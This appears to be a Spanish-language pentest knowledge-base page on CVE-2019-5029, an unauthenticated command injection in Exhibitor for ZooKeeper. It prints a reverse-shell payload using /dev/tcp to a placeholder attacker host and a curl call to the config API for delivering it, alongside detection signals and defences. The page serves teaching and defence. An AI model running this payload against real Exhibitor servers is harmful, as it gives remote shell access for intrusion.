the_open_door
café
ESEN
← Volver al índice

Exhibitor unauthenticated RCE (CVE-2019-5029)

CVE-2019-5029 es una inyección de comandos sin autenticar en Exhibitor, la interfaz web que supervisa clústeres de Apache ZooKeeper. El panel de configuración de Exhibitor permite editar los parámetros de arranque de ZooKeeper y, lo crítico, no exige credenciales. Entre esos parámetros está el campo java.env script: Exhibitor lo vuelca a un fichero java.env y lo ejecuta cada vez que (re)arranca el supervisor.

El resultado es ejecución de comandos trivial: cualquier comando rodeado de $() o comillas invertidas en ese campo se ejecuta al confirmar los cambios. Una reverse shell basta:

$(/bin/sh -i >& /dev/tcp/<atacante>/4444 0>&1)

Tras escribirla, hay que pulsar Commit > All At Once, que reinicia la instancia y dispara la ejecución. También se puede hacer por API sin tocar la interfaz:

curl -X POST -d @data.json http://<ip>:8080/exhibitor/v1/config/set

donde data.json lleva la config completa con la reverse shell en "javaEnvironment".

Cómo se llega. La superficie suele esconderse tras una redirección: un nginx o Jetty que redirige a /exhibitor/v1/ui/index.html. Conviene seguir las redirecciones, no solo listar puertos. Una vez en el panel, es inyección de comandos pura sobre un campo que se ejecuta.

Por qué pasa. Exhibitor combina dos errores: no tiene autenticación y expone un campo cuyo contenido se ejecuta como script. Cualquier consola de administración que escriba y ejecute código sin login es, de hecho, RCE para quien la alcance, en la línea del RCE por subida de ficheros.

Cómo detectarlo. La señal en red es un POST no autenticado a /exhibitor/v1/config/set (o el guardado desde la UI) cuyo campo javaEnvironment contiene $(), comillas invertidas o /dev/tcp, seguido de un commit/reinicio de la instancia. En el host, el patrón es de linaje de procesos: el supervisor (java/Exhibitor) lanzando sh/bash como hijo tras reescribir el fichero java.env (un FIM sobre ese fichero lo capta). Una conexión saliente desde el servidor de ZooKeeper justo tras un cambio de configuración cierra la cadena.

Defensa. Poner Exhibitor solo en redes de confianza o tras un proxy con autenticación, restringir por firewall las interfaces en las que escucha y, si solo se necesita supervisar ZooKeeper, sustituirlo por una solución más simple (un servicio systemd).

Máquinas donde se aplica